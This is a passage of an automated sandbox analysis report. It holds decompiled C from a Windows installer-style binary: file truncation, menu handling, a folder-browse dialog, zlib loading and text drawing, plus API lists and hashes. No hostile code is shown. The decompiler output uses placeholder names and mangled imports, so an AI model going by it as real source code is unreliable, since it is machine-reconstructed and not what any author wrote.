                                                          						_t41 = 0;
                                                          						while(_t41 < _t53) {
                                                          							if( *((char*)(_t54 + _t41 + 0x14c)) == 0x1a) {
                                                          								if(SetFilePointer( *_t54, _t41 - _t53, 0, 2) + 1 == 0 || SetEndOfFile( *_t54) != 1) {
                                                          									goto L35;
                                                          								} else {
                                                          									goto L28;
                                                          								}
                                                          							}
                                                          							_t41 = _t41 + 1;
                                                          						}
                                                          						goto L28;
                                                          					}
                                                          				}
                                                          				_t47 = _t25 - 1;
                                                          				if(_t47 == 0) {
                                                          					_t26 = 0x40000000;
                                                          					_t50 = 1;
                                                          					_t49 = 2;
                                                          					L7:
                                                          					_t54[7] = E00404BCA;
                                                          					goto L8;
                                                          				}
                                                          				_t48 = _t47 - 1;
                                                          				if(_t48 == 0) {
                                                          					_t26 = 0xc0000000;
                                                          					_t50 = 1;
                                                          					_t49 = 3;
                                                          					goto L7;
                                                          				}
                                                          				return _t48;
                                                          			}



















                                                          0x00404c10
                                                          0x00404c14
                                                          0x00404c17
                                                          0x00404c1d
                                                          0x00404c22
                                                          0x00404c2f
                                                          0x00404c34
                                                          0x00404c39
                                                          0x00404c3e
                                                          0x00404c6e
                                                          0x00404c6e
                                                          0x00404c75
                                                          0x00404c80
                                                          0x00404d34
                                                          0x00404d42
                                                          0x00404d4a
                                                          0x00404d44
                                                          0x00404d4a
                                                          0x00404d4a
                                                          0x00404d52
                                                          0x00404d8f
                                                          0x00404d8f
                                                          0x00000000
                                                          0x00404d54
                                                          0x00404d54
                                                          0x00404d56
                                                          0x00404d5d
                                                          0x00404d76
                                                          0x00000000
                                                          0x00404d76
                                                          0x00404d61
                                                          0x00404d68
                                                          0x00404d7c
                                                          0x00404d81
                                                          0x00000000
                                                          0x00404d88
                                                          0x00404d6d
                                                          0x00404d6f
                                                          0x00404d6f
                                                          0x00000000
                                                          0x00404d6d
                                                          0x00404d52
                                                          0x00404c86
                                                          0x00404c88
                                                          0x00404c8d
                                                          0x00404c8e
                                                          0x00404c90
                                                          0x00404c91
                                                          0x00404c92
                                                          0x00404c95
                                                          0x00404c96
                                                          0x00404c9e
                                                          0x00000000
                                                          0x00000000
                                                          0x00404ca4
                                                          0x00404cad
                                                          0x00000000
                                                          0x00000000
                                                          0x00404cb3
                                                          0x00404cbf
                                                          0x00404cc0
                                                          0x00000000
                                                          0x00000000
                                                          0x00404cc6
                                                          0x00404ccb
                                                          0x00404ccd
                                                          0x00404ccd
                                                          0x00404cdc
                                                          0x00000000
                                                          0x00404ce2
                                                          0x00404cf7
                                                          0x00404cfc
                                                          0x00404cfe
                                                          0x00000000
                                                          0x00000000
                                                          0x00404d04
                                                          0x00404d06
                                                          0x00404d12
                                                          0x00404d26
                                                          0x00000000
                                                          0x00404d32
                                                          0x00000000
                                                          0x00404d32
                                                          0x00404d26
                                                          0x00404d14
                                                          0x00404d14
                                                          0x00000000
                                                          0x00404d06
                                                          0x00404cdc
                                                          0x00404c24
                                                          0x00404c25
                                                          0x00404c47
                                                          0x00404c4c
                                                          0x00404c51
                                                          0x00404c67
                                                          0x00404c67
                                                          0x00000000
                                                          0x00404c67
                                                          0x00404c27
                                                          0x00404c28
                                                          0x00404c58
                                                          0x00404c5d
                                                          0x00404c62
                                                          0x00000000
                                                          0x00404c62
                                                          0x00000000

                                                          APIs
                                                          • 6CAA5CA0.KERNEL32(00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404C96
                                                          • GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404CBA
                                                          • SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404CD6
                                                          • ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000), ref: 00404CF7
                                                          • SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 00404D20
                                                          • SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 00404D2A
                                                          • GetStdHandle.KERNEL32(000000F5), ref: 00404D4A
                                                          • GetFileType.KERNEL32(?,000000F5), ref: 00404D61
                                                          • CloseHandle.KERNEL32(?,?,000000F5), ref: 00404D7C
                                                          • GetLastError.KERNEL32(000000F5), ref: 00404D96
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: File$HandlePointer$CloseErrorLastReadSizeType
                                                          • String ID:
                                                          • API String ID: 2587015848-0
                                                          • Opcode ID: 32fbc3d591d887db1daa96df7588f8d0b8ed6a028886d61b7680b13e569ddf3c
                                                          • Instruction ID: 206bcdb747724065788a6a6a215919135cebaaf405beceec5406885cc449240e
                                                          • Opcode Fuzzy Hash: 32fbc3d591d887db1daa96df7588f8d0b8ed6a028886d61b7680b13e569ddf3c
                                                          • Instruction Fuzzy Hash: 814180B01057009AE7306F248809B3775E5AFC1764F248A3FE2A6BA6E0E77DE845875D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00422400(intOrPtr _a4) {
                                                          				intOrPtr _t27;
                                                          				struct HMENU__* _t48;
                                                          
                                                          				_t27 =  *((intOrPtr*)(_a4 - 4));
                                                          				if( *((char*)(_t27 + 0x111)) != 0) {
                                                          					_t27 =  *((intOrPtr*)(_a4 - 4));
                                                          					if(( *(_t27 + 0x110) & 0x00000001) != 0) {
                                                          						_t27 =  *((intOrPtr*)(_a4 - 4));
                                                          						if( *((char*)(_t27 + 0x116)) != 1) {
                                                          							_t48 = GetSystemMenu(E004183F8( *((intOrPtr*)(_a4 - 4))), 0);
                                                          							if( *((char*)( *((intOrPtr*)(_a4 - 4)) + 0x111)) == 3) {
                                                          								DeleteMenu(_t48, 0xf130, 0);
                                                          								DeleteMenu(_t48, 7, 0x400);
                                                          								DeleteMenu(_t48, 5, 0x400);
                                                          								DeleteMenu(_t48, 0xf030, 0);
                                                          								DeleteMenu(_t48, 0xf020, 0);
                                                          								DeleteMenu(_t48, 0xf000, 0);
                                                          								return DeleteMenu(_t48, 0xf120, 0);
                                                          							}
                                                          							if(( *( *((intOrPtr*)(_a4 - 4)) + 0x110) & 0x00000002) == 0) {
                                                          								EnableMenuItem(_t48, 0xf020, 1);
                                                          							}
                                                          							_t27 =  *((intOrPtr*)(_a4 - 4));
                                                          							if(( *(_t27 + 0x110) & 0x00000004) == 0) {
                                                          								return EnableMenuItem(_t48, 0xf030, 1);
                                                          							}
                                                          						}
                                                          					}
                                                          				}
                                                          				return _t27;
                                                          			}





                                                          0x00422407
                                                          0x00422411
                                                          0x0042241a
                                                          0x00422424
                                                          0x0042242d
                                                          0x00422437
                                                          0x00422450
                                                          0x0042245f
                                                          0x00422469
                                                          0x00422476
                                                          0x00422483
                                                          0x00422490
                                                          0x0042249d
                                                          0x004224aa
                                                          0x00000000
                                                          0x004224b7
                                                          0x004224cb
                                                          0x004224d5
                                                          0x004224d5
                                                          0x004224dd
                                                          0x004224e7
                                                          0x00000000
                                                          0x004224f1
                                                          0x004224e7
                                                          0x00422437
                                                          0x00422424
                                                          0x004224f8

                                                          APIs
                                                          • GetSystemMenu.USER32(00000000,00000000), ref: 0042244B
                                                          • DeleteMenu.USER32(00000000,0000F130,00000000,00000000,00000000), ref: 00422469
                                                          • DeleteMenu.USER32(00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 00422476
                                                          • DeleteMenu.USER32(00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 00422483
                                                          • DeleteMenu.USER32(00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 00422490
                                                          • DeleteMenu.USER32(00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000), ref: 0042249D
                                                          • DeleteMenu.USER32(00000000,0000F000,00000000,00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000), ref: 004224AA
                                                          • DeleteMenu.USER32(00000000,0000F120,00000000,00000000,0000F000,00000000,00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000), ref: 004224B7
                                                          • EnableMenuItem.USER32 ref: 004224D5
                                                          • EnableMenuItem.USER32 ref: 004224F1
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Menu$Delete$EnableItem$System
                                                          • String ID:
                                                          • API String ID: 3985193851-0
                                                          • Opcode ID: 3989febc2265f450d094ef528963c25562e4eb2e8bf0b05666faad11cc839985
                                                          • Instruction ID: ccbfe1b94657816dcf372c0fd86d317857036ad24732e56999036d3a366f9e19
                                                          • Opcode Fuzzy Hash: 3989febc2265f450d094ef528963c25562e4eb2e8bf0b05666faad11cc839985
                                                          • Instruction Fuzzy Hash: 572121707857457AE724EA25CD8BF9B7AD8AB04708F0450A5BA447F2D3C7FCA9808A58
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 65%
                                                          			E0045BA7C(void* __eax, void* __ebx, struct _browseinfo __ecx, intOrPtr* __edx, void* __edi, void* __esi, void* __eflags, char _a4) {
                                                          				intOrPtr* _v8;
                                                          				char _v9;
                                                          				char _v16;
                                                          				char _v20;
                                                          				struct HWND__* _v24;
                                                          				intOrPtr _v28;
                                                          				struct _ITEMIDLIST* _v32;
                                                          				intOrPtr _v40;
                                                          				intOrPtr _v44;
                                                          				signed int _v48;
                                                          				intOrPtr _v52;
                                                          				char* _v56;
                                                          				struct _browseinfo _v64;
                                                          				char _v324;
                                                          				intOrPtr _t49;
                                                          				void* _t59;
                                                          				intOrPtr _t67;
                                                          				struct _browseinfo _t70;
                                                          				void* _t72;
                                                          				void* _t73;
                                                          				intOrPtr _t74;
                                                          
                                                          				_t68 = __edi;
                                                          				_t72 = _t73;
                                                          				_t74 = _t73 + 0xfffffdbc;
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v16 = 0;
                                                          				_t70 = __ecx;
                                                          				_v8 = __edx;
                                                          				_t59 = __eax;
                                                          				_push(_t72);
                                                          				_push(0x45bc0b);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t74;
                                                          				_v9 = 0;
                                                          				E0042CC98( *_v8, __ecx,  &_v16, __eflags);
                                                          				_push( &_v20);
                                                          				L0042CD9C();
                                                          				if(E0042CD74( &_v20) != 0) {
                                                          					_v20 = 0;
                                                          				}
                                                          				E00402A64( &_v64, 0x20);
                                                          				_v64 = _t70;
                                                          				_v56 =  &_v324;
                                                          				_v52 = E00403880(_t59);
                                                          				_v48 = 0x41;
                                                          				if(_a4 == 0) {
                                                          					_v48 = _v48 | 0x00000200;
                                                          				}
                                                          				_v44 = E0045BA18;
                                                          				if(_v16 != 0) {
                                                          					_v40 = E00403880(_v16);
                                                          				}
                                                          				_v24 = GetActiveWindow();
                                                          				_v28 = E0041F0BC(0, _t59, _t68, _t70);
                                                          				_push(0);
                                                          				L0042CD04();
                                                          				_push(_t72);
                                                          				_push(0x45bb80);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t74;
                                                          				_v32 = SHBrowseForFolder( &_v64);
                                                          				_pop(_t67);
                                                          				 *[fs:eax] = _t67;
                                                          				_push(0x45bb87);
                                                          				L0042CD0C();
                                                          				E0041F170(_v28);
                                                          				_t49 =  *0x48d628; // 0x21c2410
                                                          				SetActiveWindow( *(_t49 + 0x20));
                                                          				return SetActiveWindow(_v24);
                                                          			}
























                                                          0x0045ba7c
                                                          0x0045ba7d
                                                          0x0045ba7f
                                                          0x0045ba85
                                                          0x0045ba86
                                                          0x0045ba87
                                                          0x0045ba8a
                                                          0x0045ba8d
                                                          0x0045ba8f
                                                          0x0045ba92
                                                          0x0045ba96
                                                          0x0045ba97
                                                          0x0045ba9c
                                                          0x0045ba9f
                                                          0x0045baa2
                                                          0x0045baae
                                                          0x0045bab6
                                                          0x0045bab7
                                                          0x0045bac3
                                                          0x0045bac7
                                                          0x0045bac7
                                                          0x0045bad4
                                                          0x0045bad9
                                                          0x0045bae2
                                                          0x0045baec
                                                          0x0045baef
                                                          0x0045bafa
                                                          0x0045bafc
                                                          0x0045bafc
                                                          0x0045bb03
                                                          0x0045bb0e
                                                          0x0045bb18
                                                          0x0045bb18
                                                          0x0045bb20
                                                          0x0045bb2a
                                                          0x0045bb2d
                                                          0x0045bb2f
                                                          0x0045bb36
                                                          0x0045bb37
                                                          0x0045bb3c
                                                          0x0045bb3f
                                                          0x0045bb4b
                                                          0x0045bb50
                                                          0x0045bb53
                                                          0x0045bb56
                                                          0x0045bb5b
                                                          0x0045bb63
                                                          0x0045bb68
                                                          0x0045bb71
                                                          0x0045bb7f

                                                          APIs
                                                            • Part of subcall function 0042CC98: CharPrevA.USER32(00000000,00000000,?,?,?,00000000,0042CDDE,00000000,0042CE04,?,?,?,00000000,00000000,?,0042CE19), ref: 0042CCC0
                                                          • SHGetMalloc.SHELL32(?), ref: 0045BAB7
                                                          • GetActiveWindow.USER32 ref: 0045BB1B
                                                          • CoInitialize.OLE32(00000000), ref: 0045BB2F
                                                          • SHBrowseForFolder.SHELL32(?), ref: 0045BB46
                                                          • 76E2F460.OLE32(0045BB87,00000000,?,?,?,?,?,00000000,0045BC0B), ref: 0045BB5B
                                                          • SetActiveWindow.USER32(?,0045BB87,00000000,?,?,?,?,?,00000000,0045BC0B), ref: 0045BB71
                                                          • SetActiveWindow.USER32(?,?,0045BB87,00000000,?,?,?,?,?,00000000,0045BC0B), ref: 0045BB7A
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ActiveWindow$BrowseCharF460FolderInitializeMallocPrev
                                                          • String ID: A
                                                          • API String ID: 917524086-3554254475
                                                          • Opcode ID: 5baf2667879cceed4b1d1887611e3af5972f39edb87cd5624835f7ea0dce8631
                                                          • Instruction ID: f22e79129fdc4d9f1744fb1c4deeed74ab824a2047b8e059aaba7f2031e49bd9
                                                          • Opcode Fuzzy Hash: 5baf2667879cceed4b1d1887611e3af5972f39edb87cd5624835f7ea0dce8631
                                                          • Instruction Fuzzy Hash: D6312171E107089FCB11EFA6D885A9EBBF8EB48304F41847AF804E7252D7785A048B99
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 61%
                                                          			E00459A74(intOrPtr __eax) {
                                                          				intOrPtr _t2;
                                                          
                                                          				_push("inflateInit_");
                                                          				_push(__eax);
                                                          				L00405AA4();
                                                          				 *0x4adf48 = __eax;
                                                          				_push("inflate");
                                                          				_push(__eax);
                                                          				L00405AA4();
                                                          				 *0x4adf4c = __eax;
                                                          				_push("inflateEnd");
                                                          				_push(__eax);
                                                          				L00405AA4();
                                                          				 *0x4adf50 = __eax;
                                                          				_push("inflateReset");
                                                          				_push(__eax);
                                                          				L00405AA4();
                                                          				 *0x4adf54 = __eax;
                                                          				if( *0x4adf48 == 0 ||  *0x4adf4c == 0 ||  *0x4adf50 == 0 ||  *0x4adf54 == 0) {
                                                          					_t2 = 0;
                                                          				} else {
                                                          					_t2 = 1;
                                                          				}
                                                          				if(_t2 == 0) {
                                                          					 *0x4adf48 = 0;
                                                          					 *0x4adf4c = 0;
                                                          					 *0x4adf50 = 0;
                                                          					 *0x4adf54 = 0;
                                                          					return _t2;
                                                          				}
                                                          				return _t2;
                                                          			}




                                                          0x00459a77
                                                          0x00459a7c
                                                          0x00459a7d
                                                          0x00459a82
                                                          0x00459a87
                                                          0x00459a8c
                                                          0x00459a8d
                                                          0x00459a92
                                                          0x00459a97
                                                          0x00459a9c
                                                          0x00459a9d
                                                          0x00459aa2
                                                          0x00459aa7
                                                          0x00459aac
                                                          0x00459aad
                                                          0x00459ab2
                                                          0x00459abe
                                                          0x00459adb
                                                          0x00459adf
                                                          0x00459adf
                                                          0x00459adf
                                                          0x00459ae3
                                                          0x00459ae7
                                                          0x00459aef
                                                          0x00459af7
                                                          0x00459aff
                                                          0x00000000
                                                          0x00459aff
                                                          0x00459b06

                                                          APIs
                                                          • 6CAA5550.KERNEL32(00000000,inflateInit_,?,00474228,00000000,0047426B), ref: 00459A7D
                                                          • 6CAA5550.KERNEL32(00000000,inflate,00000000,inflateInit_,?,00474228,00000000,0047426B), ref: 00459A8D
                                                          • 6CAA5550.KERNEL32(00000000,inflateEnd,00000000,inflate,00000000,inflateInit_,?,00474228,00000000,0047426B), ref: 00459A9D
                                                          • 6CAA5550.KERNEL32(00000000,inflateReset,00000000,inflateEnd,00000000,inflate,00000000,inflateInit_,?,00474228,00000000,0047426B), ref: 00459AAD
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A5550
                                                          • String ID: inflate$inflateEnd$inflateInit_$inflateReset
                                                          • API String ID: 3255589654-3516654456
                                                          • Opcode ID: 10def7b3286c3cebfd6e17169adf8aee31dba8c75d6b2cd586d6a52f40372db7
                                                          • Instruction ID: 860f5f0ddfdcfd816d1b219f1080b024ad1093819357f9d665938aa2be996169
                                                          • Opcode Fuzzy Hash: 10def7b3286c3cebfd6e17169adf8aee31dba8c75d6b2cd586d6a52f40372db7
                                                          • Instruction Fuzzy Hash: 0C01DEB0E40780DEEB14DF26AD457573B95E789306F14907BB80795AA6D7BC0C48CE1D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E0041AAF4(intOrPtr* __eax, intOrPtr __ecx, int* __edx, intOrPtr _a4, int* _a8) {
                                                          				intOrPtr _v8;
                                                          				long _v12;
                                                          				int _v16;
                                                          				int _v20;
                                                          				void* __edi;
                                                          				void* __ebp;
                                                          				intOrPtr* _t66;
                                                          				intOrPtr* _t68;
                                                          				intOrPtr _t70;
                                                          				void* _t71;
                                                          				void* _t74;
                                                          				long _t77;
                                                          				intOrPtr _t89;
                                                          				long _t115;
                                                          				intOrPtr _t120;
                                                          				intOrPtr* _t138;
                                                          				intOrPtr* _t140;
                                                          				intOrPtr _t144;
                                                          				int* _t146;
                                                          				intOrPtr _t150;
                                                          				intOrPtr _t153;
                                                          				intOrPtr _t154;
                                                          				intOrPtr _t155;
                                                          				int* _t160;
                                                          				intOrPtr* _t162;
                                                          
                                                          				_t147 = __ecx;
                                                          				_v8 = __ecx;
                                                          				_t146 = __edx;
                                                          				_t162 = __eax;
                                                          				_t160 = _a8;
                                                          				if(_v8 != 0) {
                                                          					 *((intOrPtr*)( *__eax + 0x10))();
                                                          					_v16 = _t160[2] -  *_t160;
                                                          					_v20 = _t160[3] - _t160[1];
                                                          					_t150 =  *0x41acf0; // 0x1
                                                          					E0041B380(__eax, __ecx, _t150, _t160);
                                                          					if( *0x48c540 == 0) {
                                                          						 *0x48c540 = E0041CF3C(1);
                                                          						_t144 =  *0x48c540; // 0x0
                                                          						E0041DA7C(_t144, 1);
                                                          					}
                                                          					_t66 =  *0x48c540; // 0x0
                                                          					if( *((intOrPtr*)( *_t66 + 0x20))() < _v16) {
                                                          						_t140 =  *0x48c540; // 0x0
                                                          						_t147 =  *_t140;
                                                          						 *((intOrPtr*)( *_t140 + 0x2c))();
                                                          					}
                                                          					_t68 =  *0x48c540; // 0x0
                                                          					_t152 =  *_t68;
                                                          					if( *((intOrPtr*)( *_t68 + 0x1c))() < _v20) {
                                                          						_t152 = _v20;
                                                          						_t138 =  *0x48c540; // 0x0
                                                          						_t147 =  *_t138;
                                                          						 *((intOrPtr*)( *_t138 + 0x28))();
                                                          					}
                                                          					_t70 =  *0x48c540; // 0x0
                                                          					_t71 = E0041D2E8(_t70, _t147, _t152);
                                                          					_t153 =  *0x41acf0; // 0x1
                                                          					E0041B380(_t71, _t147, _t153, _t160);
                                                          					_t74 = E0041D2E8(_v8, _t147, _t153);
                                                          					_t154 =  *0x41acf0; // 0x1
                                                          					E0041B380(_t74, _t147, _t154, _t160);
                                                          					_t77 = E0041A270(_a4);
                                                          					_v12 = SetBkColor( *(E0041D2E8(_v8, _t147, _t154) + 4), _t77);
                                                          					_t89 =  *0x48c540; // 0x0
                                                          					L00405CB4();
                                                          					SetBkColor( *(E0041D2E8(_v8, _t147, _t154) + 4), _v12);
                                                          					_t155 =  *0x41acf4; // 0x9
                                                          					E0041B380(_t162, _t147, _t155, _t160);
                                                          					StretchBlt( *(_t162 + 4),  *_t146, _t146[1], _t146[2] -  *_t146, _t146[3] - _t146[1],  *(E0041D2E8(_v8, _t147, _t155) + 4),  *_t160, _t160[1], _v16, _v20, 0xcc0020);
                                                          					_t115 = SetTextColor( *(_t162 + 4), 0);
                                                          					_v12 = SetBkColor( *(_t162 + 4), 0xffffff);
                                                          					_t120 =  *0x48c540; // 0x0
                                                          					StretchBlt( *(_t162 + 4),  *_t146, _t146[1], _t146[2] -  *_t146, _t146[3] - _t146[1],  *(E0041D2E8(_t120, _t147, _t155) + 4), 0, 0, _v16, _v20, 0xe20746);
                                                          					SetTextColor( *(_t162 + 4), _t115);
                                                          					SetBkColor( *(_t162 + 4), _v12);
                                                          					return  *((intOrPtr*)( *_t162 + 0xc))( *((intOrPtr*)(E0041D2E8(_t89, _t147, _t154) + 4)), 0, 0, _v16, _v20,  *(E0041D2E8(_v8, _t147, _t154) + 4),  *_t160, _t160[1], 0xcc0020);
                                                          				}
                                                          				return __eax;
                                                          			}




























                                                          0x0041aaf4
                                                          0x0041aafd
                                                          0x0041ab00
                                                          0x0041ab02
                                                          0x0041ab04
                                                          0x0041ab0b
                                                          0x0041ab15
                                                          0x0041ab1d
                                                          0x0041ab26
                                                          0x0041ab29
                                                          0x0041ab31
                                                          0x0041ab3d
                                                          0x0041ab4b
                                                          0x0041ab52
                                                          0x0041ab57
                                                          0x0041ab57
                                                          0x0041ab5c
                                                          0x0041ab69
                                                          0x0041ab6e
                                                          0x0041ab73
                                                          0x0041ab75
                                                          0x0041ab75
                                                          0x0041ab78
                                                          0x0041ab7d
                                                          0x0041ab85
                                                          0x0041ab87
                                                          0x0041ab8a
                                                          0x0041ab8f
                                                          0x0041ab91
                                                          0x0041ab91
                                                          0x0041ab94
                                                          0x0041ab99
                                                          0x0041ab9e
                                                          0x0041aba4
                                                          0x0041abac
                                                          0x0041abb1
                                                          0x0041abb7
                                                          0x0041abbf
                                                          0x0041abd6
                                                          0x0041abfd
                                                          0x0041ac0b
                                                          0x0041ac20
                                                          0x0041ac25
                                                          0x0041ac2d
                                                          0x0041ac6a
                                                          0x0041ac75
                                                          0x0041ac8a
                                                          0x0041ac9e
                                                          0x0041acc4
                                                          0x0041acce
                                                          0x0041acdb
                                                          0x00000000
                                                          0x0041ace4
                                                          0x0041aced

                                                          APIs
                                                          • SetBkColor.GDI32(?,00000000), ref: 0041ABD1
                                                          • 72E697E0.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020,?,00000000), ref: 0041AC0B
                                                          • SetBkColor.GDI32(?,?), ref: 0041AC20
                                                          • StretchBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00CC0020), ref: 0041AC6A
                                                          • SetTextColor.GDI32(00000000,00000000), ref: 0041AC75
                                                          • SetBkColor.GDI32(00000000,00FFFFFF), ref: 0041AC85
                                                          • StretchBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00E20746), ref: 0041ACC4
                                                          • SetTextColor.GDI32(00000000,00000000), ref: 0041ACCE
                                                          • SetBkColor.GDI32(00000000,?), ref: 0041ACDB
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Color$StretchText$E697
                                                          • String ID:
                                                          • API String ID: 2665930546-0
                                                          • Opcode ID: 0e42e210408f4cff53be1a957847e29dbad9e2e9e793c21c809a38564ae3d52e
                                                          • Instruction ID: 478a815f40a6f48c54b78f0d2b5a60a0b1801f14ab7d1e6ec529a82d7052d87a
                                                          • Opcode Fuzzy Hash: 0e42e210408f4cff53be1a957847e29dbad9e2e9e793c21c809a38564ae3d52e
                                                          • Instruction Fuzzy Hash: D661D6B5A00115AFCB40EFADD985E9EB7F8BF48304B1085A9F558DB252D734ED40CBA8
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E0044D1EC(void* __eax, int __ecx, struct tagRECT* __edx, char _a4, intOrPtr _a8) {
                                                          				int _t23;
                                                          				CHAR* _t25;
                                                          				long _t37;
                                                          				int _t44;
                                                          				CHAR* _t46;
                                                          				long _t53;
                                                          				int _t60;
                                                          				CHAR* _t62;
                                                          				void* _t68;
                                                          
                                                          				_t72 = __ecx;
                                                          				_t73 = __edx;
                                                          				_t68 = __eax;
                                                          				_t74 = _a4;
                                                          				if(_a4 == 0) {
                                                          					_t23 = E004036BC(__eax);
                                                          					_t25 = E00403880(_t68);
                                                          					return DrawTextA(E0041B2AC( *((intOrPtr*)( *((intOrPtr*)(_a8 - 4)) + 0x104))), _t25, _t23, __edx, __ecx);
                                                          				}
                                                          				E0041A97C( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_a8 - 4)) + 0x104)) + 0x14)), 1, _t74);
                                                          				OffsetRect(_t73, 1, 1);
                                                          				_t37 = GetSysColor(0x14);
                                                          				SetTextColor(E0041B2AC( *((intOrPtr*)( *((intOrPtr*)(_a8 - 4)) + 0x104))), _t37);
                                                          				_t44 = E004036BC(_t68);
                                                          				_t46 = E00403880(_t68);
                                                          				DrawTextA(E0041B2AC( *((intOrPtr*)( *((intOrPtr*)(_a8 - 4)) + 0x104))), _t46, _t44, _t73, _t72);
                                                          				OffsetRect(_t73, 0xffffffff, 0xffffffff);
                                                          				_t53 = GetSysColor(0x10);
                                                          				SetTextColor(E0041B2AC( *((intOrPtr*)( *((intOrPtr*)(_a8 - 4)) + 0x104))), _t53);
                                                          				_t60 = E004036BC(_t68);
                                                          				_t62 = E00403880(_t68);
                                                          				return DrawTextA(E0041B2AC( *((intOrPtr*)( *((intOrPtr*)(_a8 - 4)) + 0x104))), _t62, _t60, _t73, _t72);
                                                          			}












                                                          0x0044d1f2
                                                          0x0044d1f4
                                                          0x0044d1f6
                                                          0x0044d1f8
                                                          0x0044d1fc
                                                          0x0044d2c2
                                                          0x0044d2ca
                                                          0x00000000
                                                          0x0044d2e2
                                                          0x0044d213
                                                          0x0044d21d
                                                          0x0044d224
                                                          0x0044d23c
                                                          0x0044d245
